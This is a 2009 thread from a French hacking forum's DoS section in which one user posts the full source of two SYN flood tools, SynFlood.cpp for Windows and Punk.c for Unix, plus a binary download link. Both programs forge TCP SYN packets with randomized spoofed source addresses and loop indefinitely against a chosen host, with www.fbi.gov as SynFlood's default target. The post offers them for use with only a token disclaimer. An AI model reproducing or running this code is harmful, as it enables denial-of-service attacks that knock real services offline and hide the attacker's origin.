Dark Angel Index du Forum
Dark Angel
Hacking and Reverse
 
Dark Angel Index du ForumFAQRechercherS’enregistrerConnexion

:: SynFlood ::

 
Poster un nouveau sujet   Répondre au sujet    Dark Angel Index du Forum -> Hacking -> DOS
Sujet précédent :: Sujet suivant  
Auteur Message
Sebby
Membre
Membre

Hors ligne

Inscrit le: 24 Nov 2009
Messages: 27

MessagePosté le: Ven 4 Déc - 10:40 (2009)    Sujet du message: SynFlood Répondre en citant

L'utilitaire SynFlood permet l'envoi massif de demande d'ouverture de session TCP. L'intérêt de cette utilitaire est de pouvoir changer son IP source de manière aléatoire. (http://www.frameip.com/synflood/)

DL du binaire: http://www.frameip.com/synflood/synflood_download.php





// ********************************************

// Nom : SynFlood.cpp
// Auteur : _SebF@frameIP.com.pas.de.spam
// Date de création : 23 Juillet 2003
// version : 2.3.3.10
// Licence : Cette executable est libre de toute utilisation.
// La seule condition existante est de faire référence
// au site http://www.frameip.com afin de respecter le travail d'autrui.
// ********************************************

// ********************************************************
// Les includes
// ********************************************************
// Il faut ajouter dans les proprités du projet => C++ => Command Line :
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Include"
// /I "C:\RepPerso\Personnel\Developpement\Projets\LibrairieSocket"
#include "LibrairieSocket.h"
#include "pcap.h"

// ********************************************************
// Les Librairies
// ********************************************************
// Il faut ajouter dans les proprités du projet => Linker => Command Line :
// /NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap/NODEFAULTLIB:libcd.lib
// /LIBPATH:"C:\RepPerso\Personnel\Developpement\Projets\LibrairiePcap\Lib"\Lib"
#pragma comment(lib,"Packet.lib")
#pragma comment(lib,"wpcap.lib")

// ********************************************************
// Les procédures
// ********************************************************
void initiation_des_variables(void);
void gestion_des_arguments(int argc, char* argv[]);
void Changement_aleatoire_des_valeurs(void);
void initiation_des_variables_automatiques(void);
void envoi_de_la_trame_winsock(void);
void envoi_de_la_trame_pcap(void);
void affichage_du_resultat(void);

// ********************************************************
// Les variables
// ********************************************************
struct mac entete_mac; // Entête Ethernet
struct ipv4 entete_ipv4; // Entete IP
struct tcp entete_tcp; // Entete TCP

char data_a_envoyer[65535]; // Data
unsigned int taille_de_data; // Longueur du char *, je n'utilise pas strlen car il peux y avoir des 0
unsigned char trame_a_envoyer[65535]; // Entete IP + data + entete ethernet si send_mode=1
unsigned short taille_de_la_trame_a_envoyer=0; // Permet d'éviter un sizeof qui s'arrête au premier 0 trouvé
int nombre_de_caractere_emis; // Variable récupérant le nombre de caractères émis
unsigned long loops; // Compteur permettant de lancer x fois les trames
char ip_source_initiale[16]; // Adresse IP Source permettant d'initier entete_ipv4.ip_source
char ip_destination_initiale[16]; // Adresse IP Destination permettant d'initier entete_ipv4.ip_destination
bool bouclage_infinie; // Variable permettant de définir le mode de boucle infinie (quand loops=0)
bool ip_source_aleatoire; // Acive ou désactive le mode IP Source Aléatoire
bool port_source_aleatoire; // Acive ou désactive le mode Port Source Aléatoire
unsigned int choix_mode_d_envoi; // Variable définissant le mode d'envoi (0=Soket - 1=Libpcap)
unsigned char numero_de_l_interface; // Numéro de l'interface qui sera utilisée
struct gestion_des_interfaces liste_des_interfaces; // structure possédant les informations des intefaces
struct adresse_mac adresse_mac_tampon; // Adresse MAC
bool mac_destination_auto; // Variable permettant de savoir si l'adresse MAC de destination doit être résolu en ARP
bool mac_source_auto; // Variable permettant de savoir si l'adresse MAC source doit être prise à partir de l'interface
bool view; // Variable indiquant si on doit afficher les resultats

WSADATA initialisation_win32;
SOCKADDR_IN information_sur_la_destination;
SOCKET id_de_la_socket;
int on=1; // Permet de paramétrer la fonction SetSockOpt
pcap_t *pointeur_interface; // Pointeur de l'interface
char buffer_d_erreur[PCAP_ERRBUF_SIZE];

int main (int argc, char* argv[])
{
initiation_des_variables();
gestion_des_arguments(argc,argv);
initiation_des_variables_automatiques();

// ********************************************************
// Initialisation de la Socket et de l'interface
// ********************************************************
if (choix_mode_d_envoi==0)
{
// ********************************************************
// Initialisation de la Socket
// ********************************************************
if (WSAStartup(MAKEWORD(2,2),&initialisation_win32)!=0)
gestion_des_erreurs(1,"WSAStartup",1,1);

// ********************************************************
// Ouverture d'une Socket
// ********************************************************
id_de_la_socket=socket(AF_INET,SOCK_RAW,IPPROTO_RAW);
if (id_de_la_socket==INVALID_SOCKET)
gestion_des_erreurs(1,"socket",1,1);

// ********************************************************
// Activation de l'option permettant d'inclure l'entete IP lors de l'emission
// ********************************************************
if (setsockopt(id_de_la_socket,IPPROTO_IP,IP_HDRINCL,(char *)&on,sizeof(on))!=0)
gestion_des_erreurs(1,"setsockopt",1,1);
}
else
{
// ********************************************************
// Accède à l'interface
// ********************************************************
if ((pointeur_interface=pcap_open_live( liste_des_interfaces.nom[numero_de_l_interface], 65536,0,1000,buffer_d_erreur))==NULL)
gestion_des_erreurs(1,"pcap_open_live",1,1);
}

// ********************************************************
// Boucle d'envoi
// ********************************************************
while ( (loops!=0)||(bouclage_infinie==TRUE) )
{
// ********************************************************
// Décrémentation de la boucle
// ********************************************************
loops--;

// ********************************************************
// Changement aléatoire des champs
// ********************************************************
Changement_aleatoire_des_valeurs();

// ********************************************************
// Envoi de la trame
// ********************************************************
if (choix_mode_d_envoi==0)
envoi_de_la_trame_winsock();
else
envoi_de_la_trame_pcap();

// ********************************************************
// Affichage du résultat
// ********************************************************
if (view==true)
affichage_du_resultat();
}

// ********************************************************
// Fermeture de la socket et de l'interface
// ********************************************************
if (choix_mode_d_envoi==0)
{
// ********************************************************
// Fermeture de la socket correspondant à la commande socket()
// ********************************************************
closesocket(id_de_la_socket);

// ********************************************************
// quite propement le winsock ouvert avec la commande WSAStartup
// ********************************************************
WSACleanup(); // (A appeller autant de fois qu'il a été ouvert)
}
else
{
// ********************************************************
// Fermeture de l'accès à l'interface
// ********************************************************
pcap_close(pointeur_interface);
}

printf("\n\n");
return(1);
}

void initiation_des_variables(void)
{
unsigned i;

// ********************************************************
// Initiation diverse
// ********************************************************
srand(GetTickCount()); // Initialise le Random

// ********************************************************
// Affichage de la banniere
// ********************************************************
printf("\nSynFlood - Send SYN TCP with spoofing IP Source - Version 2.3.3.10");
printf("\nCreate on July 23, 2003, Last compilation on August 26, 2006");
printf("\nCreated by sebastien.fontaine@frameip.com.pas.de.spam");
printf("\n");

// ********************************************************
// Initiation des arguments
// ********************************************************
strcpy(ip_destination_initiale,"www.fbi.gov");
port_source_aleatoire=TRUE;
ip_source_aleatoire=TRUE;
loops=1;
bouclage_infinie=FALSE;
choix_mode_d_envoi=1;
numero_de_l_interface=0;
liste_des_interfaces=recuperation_des_interfaces();
view=true;

// ********************************************************
// Options de l'entête MAC
// ********************************************************
adresse_mac_tampon=recuperation_de_l_adresse_mac( liste_des_interfaces.nom[numero_de_l_interface]);
for (i=0;i<6;i++)
{
entete_mac.source[i]=adresse_mac_tampon.adresse[i];
entete_mac.destination[i]=255;
}
mac_source_auto=true;
mac_destination_auto=false;
entete_mac.type=htons(2048); // 08 00 indiquant un datagramme IP

// ********************************************************
// Initialisation de l'entete Ip
// ********************************************************
entete_ipv4.ihl=5;
entete_ipv4.version=4;
entete_ipv4.tos=0;
entete_ipv4.length=0;
entete_ipv4.id=0; // Il est initialisé plutard
entete_ipv4.offset=0;
entete_ipv4.ttl=100;
entete_ipv4.type=6;
entete_ipv4.ip_source=0; // Il est initialisé plutard

// ********************************************************
// Initialisation de l'entete TCP
// ********************************************************
entete_tcp.port_source=0; // Il est initialisé plutard
entete_tcp.port_destination=htons(80);
entete_tcp.sequence=0; // Il est initialisé plutard
entete_tcp.accuse=0;

entete_tcp.reserved=0;
entete_tcp.offset=5; // taille de l'entête Tcp
entete_tcp.flag_fin=0;
entete_tcp.flag_syn=1;
entete_tcp.flag_rst=0;
entete_tcp.flag_psh=0;
entete_tcp.flag_ack=0;
entete_tcp.flag_urg=0;
entete_tcp.reserved2=0;



entete_tcp.window=htons(16384); // Valeur relevée dans un Netmon après un "Telnet IP port"
entete_tcp.checksum=0;
entete_tcp.pointeur=0;

// ********************************************************
// Initialisation des data
// ********************************************************
strcpy(data_a_envoyer,"www.frameip.com");
taille_de_data=(unsigned int)strlen(data_a_envoyer);
}

void gestion_des_arguments(int argc,char* argv[])
{
char *caractere_non_convertit;
int i,j;
bool ip_destination_modofie=false;
unsigned int tampon; // pour le redimentionnement de la data

// ********************************************************
// Affichage de l'aide
// ********************************************************
if ( (argc>1) && (strcmp(argv[1],"-?")==0) || (argc==1) )
{
printf("\n");
printf("\nGENERAL OPTIONS");
printf("\n-? This help");
printf("\n-send_mode 0=Soket 1=Libpcap Defaut: %d",choix_mode_d_envoi);
printf("\n-loops Number of loops Default value: %d (0 to no stop)",loops);
printf("\n-view Show the answers Default value: %d",view);

printf("\n\nFREE INTERFACES");
for(i=0;i<(signed)liste_des_interfaces.nombre;i++)
printf("\n%d - %s",i,liste_des_interfaces.description[i]);
printf("\n-interface Interface choice Defaut: %d",numero_de_l_interface);

printf("\n\nETHERNET HEADER OPTIONS (-send_mode 1)");
printf("\n-mac_source @ Ethernet Defaut: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X",entete_mac.source[0], entete_mac.source[2],entete_mac.source[2],entete_mac.source[3], entete_mac.source[4],entete_mac.source[5]);
printf("\n-mac_source_auto Between 0 or 1 Defaut: %d (1 => MAC from interface)",mac_source_auto);
printf("\n-mac_destination @ Ethernet Defaut: %.2X-%.2X-%.2X-%.2X-%.2X-%.2X", entete_mac.destination[0],entete_mac.destination[2],entete_mac.destination[2], entete_mac.destination[3],entete_mac.destination[4], entete_mac.destination[5]);
printf("\n-mac_destination_auto Between 0 or 1 Defaut: %d (1 => MAC from @IP)",mac_destination_auto);
printf("\n-mac_type Between 0 & 65535 Defaut: %d",htons(entete_mac.type));

printf("\n\nIP HEADER OPTIONS (-mac_type 2048)");
printf("\n-ip_source @IP source Default: %d (0 to randomize)",entete_ipv4.ip_source);
printf("\n-ip_destination @IP destination Default: %s",ip_destination_initiale);

printf("\n\nTCP HEADER OPTIONS (-ip_type 6)");
printf("\n-tcp_port_source Between 0 & 65535 Default: %d (0 to randomize)",entete_tcp.port_source);
printf("\n-tcp_port_destination Between 0 & 65535 Default: %d",htons(entete_tcp.port_destination));

printf("\n\nOPTIONS OF THE DATA LAYER");
printf("\n-data_size size of data Default: %d",taille_de_data);

printf("\n\nSAMPLE");
printf("\nsynflood.exe -interface 2 -ip_destination www.yahoo.fr -loops 100");
printf("\n\n");
exit(0);
}

// ********************************************************
// Récupération des arguments
// ********************************************************
for (i=1;i<argc;i=i+1)
{
// ********************************************************
// Choix généraux
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-loops")==0) || (strcmp(strlwr(argv[i]),"/loops")==0) )
{
loops=(unsigned long)strtod(argv[i+1],&caractere_non_convertit);
if (loops==0)
bouclage_infinie=TRUE;
else
bouclage_infinie=FALSE;
}
if ( (strcmp(strlwr(argv[i]),"-send_mode")==0) || (strcmp(strlwr(argv[i]),"/send_mode")==0) )
{
choix_mode_d_envoi=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);
if (choix_mode_d_envoi!=1)
choix_mode_d_envoi=0;
}
if ( (strcmp(strlwr(argv[i]),"-view")==0) || (strcmp(strlwr(argv[i]),"/view")==0) )
view=(bool)strtod(argv[i+1],&caractere_non_convertit);

// ********************************************************
// Choix de l'interface
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-interface")==0) || (strcmp(strlwr(argv[i]),"/interface")==0) )
numero_de_l_interface=(unsigned char)strtod(argv[i+1],&caractere_non_convertit);

// ********************************************************
// Options de l'entête MAC
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-mac_source")==0) || (strcmp(strlwr(argv[i]),"/mac_source")==0) )
{
adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
for (j=0;j<6;j++)
entete_mac.source[j]=adresse_mac_tampon.adresse[j];
}
if ( (strcmp(strlwr(argv[i]),"-mac_source_auto")==0) || (strcmp(strlwr(argv[i]),"/mac_source_auto")==0) )
if ((unsigned char)strtod(argv[i+1],&caractere_non_convertit)==1)
mac_source_auto=true;
else
mac_source_auto=false;

if ( (strcmp(strlwr(argv[i]),"-mac_destination")==0) || (strcmp(strlwr(argv[i]),"/mac_destination")==0) )
{
adresse_mac_tampon=transformation_string_en_mac(argv[i+1]);
for (j=0;j<6;j++)
entete_mac.destination[j]=adresse_mac_tampon.adresse[j];
}
if ( (strcmp(strlwr(argv[i]),"-mac_destination_auto")==0) || (strcmp(strlwr(argv[i]),"/mac_destination_auto")==0) )
if ((unsigned char)strtod(argv[i+1],&caractere_non_convertit)==1)
mac_destination_auto=true;
else
mac_destination_auto=false;
if ( (strcmp(strlwr(argv[i]),"-mac_type")==0) || (strcmp(strlwr(argv[i]),"/mac_type")==0) )
entete_mac.type=htons((unsigned short)strtod(argv[i+1],&caractere_non_convertit));

// ********************************************************
// Options de l'entête IP
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-ip_source")==0) || (strcmp(strlwr(argv[i]),"/ip_source")==0) )
if (argv[i+1]==0)
ip_source_aleatoire=TRUE;
else
{
ip_source_aleatoire=FALSE;
entete_ipv4.ip_source=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
}
if ( (strcmp(strlwr(argv[i]),"-ip_destination")==0) || (strcmp(strlwr(argv[i]),"/ip_destination")==0) )
{
entete_ipv4.ip_destination=(unsigned long)resolution_de_nom(FALSE,argv[i+1]);
ip_destination_modofie=true;
}

// ********************************************************
// Options de l'entête TCP
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-tcp_port_source")==0) || (strcmp(strlwr(argv[i]),"/tcp_port_source")==0) )
if (argv[i+1]==0)
port_source_aleatoire=TRUE;
else
{
port_source_aleatoire=FALSE;
entete_tcp.port_source=htons((unsigned short)strtod(argv[i+1],&caractere_non_convertit));
}
if ( (strcmp(strlwr(argv[i]),"-tcp_port_destination")==0) || (strcmp(strlwr(argv[i]),"/tcp_port_destination")==0) )
entete_tcp.port_destination= htons((unsigned short) strtod(argv[i+1],&caractere_non_convertit));

// ********************************************************
// Options de la couche DATA
// ********************************************************
if ( (strcmp(strlwr(argv[i]),"-data_size")==0) || (strcmp(strlwr(argv[i]),"/data_size")==0) )
{
tampon=(unsigned int)strtod(argv[i+1],&caractere_non_convertit);
memcpy(data_a_envoyer, dimensionnement_de_data_a_envoyer(false,data_a_envoyer, taille_de_data,tampon),tampon);
taille_de_data=tampon;
}
}

// ********************************************************
// Résoud le nom spécifié en initialisation
// ********************************************************
// Fait ici pour éviter de le résoudre si l'utilisateur spécifi une IP
if (ip_destination_modofie==false)
entete_ipv4.ip_destination=(unsigned long)resolution_de_nom(FALSE,ip_destination_initiale);

}

void Changement_aleatoire_des_valeurs()
{
// ********************************************************
// Random de l'IP Source
// ********************************************************
if (ip_source_aleatoire==TRUE)
entete_ipv4.ip_source=generation_d_une_adresse_ip_aleatoire(0);

// ********************************************************
// Random de l'ID IP
// ********************************************************
entete_ipv4.id=(unsigned short)(rand()%65536); // Tire entre 0 et 65535

// ********************************************************
// Random du Port Source
// ************************************************* *******
if (port_source_aleatoire==TRUE)
entete_tcp.port_source=(unsigned short)(rand()%64511+1+1024); // Tire entre 1025 et 65535

// ********************************************************
// Random de la séquence TCP
// ********************************************************
entete_tcp.sequence=(unsigned long)((rand()%65536)*(rand()%65536)); // Tire entre 0 et 4294967295
}

void initiation_des_variables_automatiques(void)
{
unsigned int i; // Pour les boucles for

// ********************************************************
// Préparation des adresses MAC
// ********************************************************
if (mac_source_auto==true)
{
adresse_mac_tampon=recuperation_de_l_adresse_mac(liste_des_interfaces.nom[numero_de_l_interface]);
for (i=0;i<6;i++)
entete_mac.source[i]=adresse_mac_tampon.adresse[i];
}
if (mac_destination_auto==true)
{
adresse_mac_tampon=resolution_arp( liste_des_interfaces.nom[numero_de_l_interface], 0,ip_destination_initiale,3);
for (i=0;i<6;i++)
entete_mac.destination[i]=adresse_mac_tampon.adresse[i];
}
}

void envoi_de_la_trame_winsock(void)
{
// ********************************************************
// Calcul du checksum TCP
// ********************************************************
entete_tcp.checksum=calcul_du_checksum_tcp(false,entete_ipv4.ip_source,entete_ipv4.ip_destination, entete_tcp,data_a_envoyer,taille_de_data);

// ********************************************************
// Préparation de la trame à envoyé
// ********************************************************
memcpy(trame_a_envoyer,(unsigned short *)&entete_ipv4, sizeof(struct ipv4));
memcpy(trame_a_envoyer+sizeof(struct ipv4), (unsigned short *)&entete_tcp,sizeof(struct tcp));
memcpy(trame_a_envoyer+sizeof(struct ipv4)+ sizeof(struct tcp),data_a_envoyer,taille_de_data);

// ********************************************************
// Paramètre nécessaire au sendto
// ********************************************************
information_sur_la_destination.sin_family=AF_INET;
information_sur_la_destination.sin_addr.s_addr=entete_ipv4.ip_destination;

// ********************************************************
// Envoi de la trame en winsock
// ********************************************************
taille_de_la_trame_a_envoyer=sizeof(struct ipv4)+sizeof(struct tcp)+(unsigned short)taille_de_data;
nombre_de_caractere_emis=sendto(id_de_la_socket,(char *)trame_a_envoyer, taille_de_la_trame_a_envoyer,0, (struct sockaddr*)&information_sur_la_destination,sizeof(information_sur_la_destination));
if (nombre_de_caractere_emis==-1)
gestion_des_erreurs(1,"sendto",1,1);
}

void envoi_de_la_trame_pcap(void)
{
// ********************************************************
// Calcul du checksum TCP
// ********************************************************
entete_tcp.checksum=calcul_du_checksum_tcp(FALSE,entete_ipv4.ip_source, entete_ipv4.ip_destination,entete_tcp, data_a_envoyer,taille_de_data);

// ********************************************************
// Calcul de la longueur totale
// ********************************************************
entete_ipv4.length=htons((unsigned short)(sizeof(struct ipv4)+sizeof(struct tcp)+taille_de_data));

// ********************************************************
// Calcul du checksum IP
// ********************************************************
entete_ipv4.checksum=calcul_du_checksum_ip(false,entete_ipv4);

// ********************************************************
// Préparation de la trame à envoyé
// ********************************************************
memcpy(trame_a_envoyer,(unsigned short *)&entete_mac,sizeof(struct mac));
memcpy(trame_a_envoyer+sizeof(struct mac),(unsigned short *)&entete_ipv4,sizeof(struct ipv4));
memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct ipv4),(unsigned short *)&entete_tcp,sizeof(struct tcp));
memcpy(trame_a_envoyer+sizeof(struct mac)+sizeof(struct ipv4)+sizeof(struct tcp),data_a_envoyer,taille_de_data);

// ********************************************************
// Envoi de la trame
// ********************************************************
taille_de_la_trame_a_envoyer=sizeof(struct mac)+sizeof(struct ipv4)+sizeof(struct tcp)+(unsigned short)taille_de_data;
if(pcap_sendpacket(pointeur_interface,trame_a_envoyer,taille_de_la_trame_a_envoyer)!=0)
gestion_des_erreurs(1,"pcap_sendpacket",1,1);
}

void affichage_du_resultat()
{
struct in_addr convertion_inet_addr;

// ********************************************************
// Affichage du resultat
// ********************************************************
convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_source;
printf("\nThe SYN TCP was sent from %s:%d",inet_ntoa(convertion_inet_addr),htons(entete_tcp.port_source));
convertion_inet_addr.S_un.S_addr=entete_ipv4.ip_destination;
printf(" to %s:%d - %d Bytes",inet_ntoa(convertion_inet_addr),htons(entete_tcp.port_destination),taille_de_la_trame_a_envoyer);
}


Revenir en haut
Publicité






MessagePosté le: Ven 4 Déc - 10:40 (2009)    Sujet du message: Publicité

PublicitéSupprimer les publicités ?
Revenir en haut
Sebby
Membre
Membre

Hors ligne

Inscrit le: 24 Nov 2009
Messages: 27

MessagePosté le: Ven 4 Déc - 10:49 (2009)    Sujet du message: SynFlood Répondre en citant

Punk.c
Autre solution


// This program was written to demonstrate a denial of service attack under controlled situations (proof of concept project).
// The author of this program is in no way responsible for any illegal activity.
// jethro@dqc.org

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <time.h>
#include <strings.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in_systm.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <limits.h>

#define BLEH(n) htons(n)
#define PACKETSIZE (sizeof(struct ip) + sizeof(struct tcphdr))

struct ip *ip;
struct tcphdr *tcp;
struct sockaddr_in s_in;
u_char packet[PACKETSIZE];
int get;
u_long source,target;

void usage(char *name)
{
printf("\nUsage: %s <source addr> <destination> <lowport> <highport>\n",name);
printf("if source=0, source address will be random\n\n");
exit(1);
}


u_long getaddr(char *hostname) /* Generic function, not my own */
{
struct hostent *hp;

if ((hp = gethostbyname(hostname)) == NULL)
{
fprintf(stderr, "Could not resolve %s.\n", hostname);
exit(1);
}

return *(u_long *)hp->h_addr;
}


u_short in_cksum(u_short *addr, int len) /* function is from ping.c */
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer =0;

while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}

if (nleft == 1)
{
*(u_char *)(&answer) = *(u_char *)w;
sum += answer;
}
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
answer = ~sum;
return(answer);
}

void makepacket(void) /* Thanks Richard Stevens, R.I.P. */
{
memset(packet, 0 , PACKETSIZE);

ip = (struct ip *)packet;
tcp = (struct tcphdr *) (packet+sizeof(struct ip));
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_tos = 0;
ip->ip_len = BLEH(PACKETSIZE);
ip->ip_off = 0;
ip->ip_ttl = 40;
ip->ip_p = IPPROTO_TCP;
ip->ip_dst.s_addr= target;
tcp->th_flags = TH_SYN;
tcp->th_win = htons(65535);

s_in.sin_family = AF_INET;
s_in.sin_addr.s_addr = target;
}


void kill(u_int dstport)
{
if (source==0)
ip->ip_src.s_addr = random();
else
ip->ip_src.s_addr = source;

ip->ip_id = random();
tcp->th_sport = random();
tcp->th_dport = htons(dstport);
tcp->th_seq = random();
tcp->th_ack = random();
tcp->th_sum = in_cksum((u_short *)tcp, sizeof(struct tcphdr));
ip->ip_sum = in_cksum((u_short *)packet, PACKETSIZE);
s_in.sin_port = htons(dstport);

sendto(get,packet,PACKETSIZE,0,(struct sockaddr *)&s_in,sizeof(s_in));
//usleep(1000000); /* Debug */
}


int main(int argc, char *argv[])
{
int low,high,port;
system("clear");
if ((get = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
perror("socket");
exit(1);
}

if ((argc < 5) || (argc > 6))
usage(argv[0]);
system("clear");
printf("\nflooding target. control-c to terminate\n",target);

fflush(stdout);
if (atoi(argv[1])==0)
source=0;
else
source=getaddr(argv[1]);

target = getaddr(argv[2]);
low = atoi(argv[3]);
high = atoi(argv[4]);

if (low > high) {
printf("low>high \n");
exit(1);
}

if (low==high)
{
makepacket();
for (;Wink {
srandom(time(NULL));
port==low;
kill(port);
}
return 0;
}

makepacket();
for (;Wink {
srandom(time(NULL));
for(port = low; port <=high; port++)
kill(port);
}
return 0;
}


Revenir en haut
Contenu Sponsorisé






MessagePosté le: Aujourd’hui à 09:08 (2017)    Sujet du message: SynFlood

Revenir en haut
Montrer les messages depuis:   
Poster un nouveau sujet   Répondre au sujet    Dark Angel Index du Forum -> Hacking -> DOS Toutes les heures sont au format GMT + 1 Heure
Page 1 sur 1

 
Sauter vers:  

Index | Panneau d’administration | créer forum | Forum gratuit d’entraide | Annuaire des forums gratuits | Signaler une violation | Conditions générales d'utilisation
HalloweenOclock © theme by larme d'ange 2006
Powered by phpBB © 2001, 2005 phpBB Group
Traduction par : phpBB-fr.com